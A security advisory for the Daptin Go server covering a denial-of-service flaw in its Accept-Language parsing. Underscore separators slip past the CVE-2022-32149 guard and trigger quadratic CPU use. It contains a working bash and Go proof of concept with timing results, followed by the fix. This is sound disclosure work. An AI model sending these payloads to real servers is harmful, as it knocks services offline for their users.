| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/daptin/daptin | ≤ 0.12.15 |
Daptin's LanguageMiddleware (registered as a global gin middleware) calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.
github.com/daptin/daptin v0.12.15 and (per code inspection of master) all earlier 0.12.x versions that wire LanguageMiddleware on the global gin router without imposing their own size limit on Accept-Language. Verified on:
daptin-linux-amd64 v0.12.15 built into a Docker image from the project's own Dockerfile (E2E below)master at commit b021ac4ae1f72b7401e851fcf883bc970303c794 by reading server/language.go (the middleware is unchanged)Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.
/apiserver/language.go (blob SHA b021ac4ae1f72b7401e851fcf883bc970303c794):
func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage)
c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}
func GetLanguagePreference(header string, defaultLanguage string) []string {
preferredLanguage := header
if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" {
preferredLanguage = defaultLanguage
}
languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)
resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage)
pref := make([]string, 0)
prefMap := make(map[string]bool)
if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {
// single tag matches default — skip
} else {
for _, tag := range languageTags {
base, conf := tag.Base()
if conf == 0 {
continue
}
if prefMap[base.String()] == true {
continue
}
prefMap[base.String()] = true
pref = append(pref, base.String())
}
}
return pref
}
c.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
The resource.CheckErr call on the error path also formats the entire input string into a log line (Failed to parse Accept-Language header [%v]), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 256 KiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.
Accept-Language reaches ParseAcceptLanguageEvery HTTP request that hits the Daptin API server passes through LanguageMiddleware (registered as a global gin middleware). The middleware sequence is:
LanguageMiddlewareFunc.c.GetHeader("Accept-Language") returns the full attacker-supplied header value.GetLanguagePreference(header, defaultLanguage) is called.language.ParseAcceptLanguage(preferredLanguage).No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at / and the public API root at /api.
Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:
# Build daptin image (uses prebuilt linux/amd64 release binary)
cd daptin
curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64
chmod +x daptin-linux-amd64
docker build --platform linux/amd64 -t daptin-poc:v0.12.15 .
# Start it
docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15
sleep 8 # wait for sqlite migrations + Olric ring
# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling
# because daptin's per-request cost saturates well below 1 MiB)
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18888/
Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
daptin-linux-amd64 v0.12.15)A Go driver poc.go boots the container, sends a 256 KiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18888/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 120 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024))
send("attack ('_' x 256KiB)", buildPayload("_", 256*1024))
send("attack repeat 2", buildPayload("_", 256*1024))
send("attack repeat 3", buildPayload("_", 256*1024))
}
Captured run output (Apple M1 Pro, darwin/arm64 host, daptin amd64 binary v0.12.15 running under Docker Desktop with QEMU x86_64 emulation):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
daptin/daptin v0.12.15 LanguageMiddleware at
server/language.go.
Target: http://127.0.0.1:18888/ payload=262144 B
warm-up header=0 B '_'=0 '-'=0 status=200 t=19.968ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=25.924208ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=28.398333ms
guard-fires control ('-' x 256KiB) header=262142 B '_'=0 '-'=26214 status=200 t=105.506458ms
attack ('_' x 256KiB) header=262142 B '_'=26214 '-'=0 status=200 t=26.679448875s
attack repeat 2 header=262142 B '_'=26214 '-'=0 status=200 t=18.012964208s
attack repeat 3 header=262142 B '_'=26214 '-'=0 status=200 t=8.868606042s
A separate run with a 1 MiB payload exceeded the 2-minute client timeout on the attack request, confirming that the cost scales beyond 120 s per request at 1 MiB.
Interpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 26 - 28 ms |
256 KiB - separators (CVE-2022-32149 guard fires) | 256 KiB | 106 ms |
256 KiB _ separators (guard bypassed) | 256 KiB | 9 - 27 s |
1 MiB _ separators (guard bypassed) | 1 MiB | > 120 s |
The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 256 KiB - payload returns in 106 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes 9-27 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~85-250x on the 256 KiB payload and >1000x on a 1 MiB payload.
The amplification is higher than other consumers of ParseAcceptLanguage because Daptin formats the entire input into a log line via resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage) when parsing fails, and runs additional bookkeeping in GetLanguagePreference (a prefMap deduplication loop over the resulting tag slice).
Apply the size / character-class filter inside LanguageMiddleware (and inside GetLanguagePreference for defence in depth) before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:
// server/language.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10
func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
header := c.GetHeader("Accept-Language")
if strings.Count(header, "-")+strings.Count(header, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
header = ""
}
pref := GetLanguagePreference(header, lm.defaultLanguage)
c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}
A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.
Reported by tonghuaroot.
Fixed on master in commit 2d709509 Harden Accept-Language parsing.
The fix caps combined - and _ separators in Accept-Language before calling language.ParseAcceptLanguage, both in LanguageMiddlewareFunc and in GetLanguagePreference for defence in depth. Regression coverage was added in server/language_test.go for normal browser headers, a 256 KiB underscore-separated malformed header, and combined separator counting.
Verification run:
go test ./server -count=1
Result: passed.
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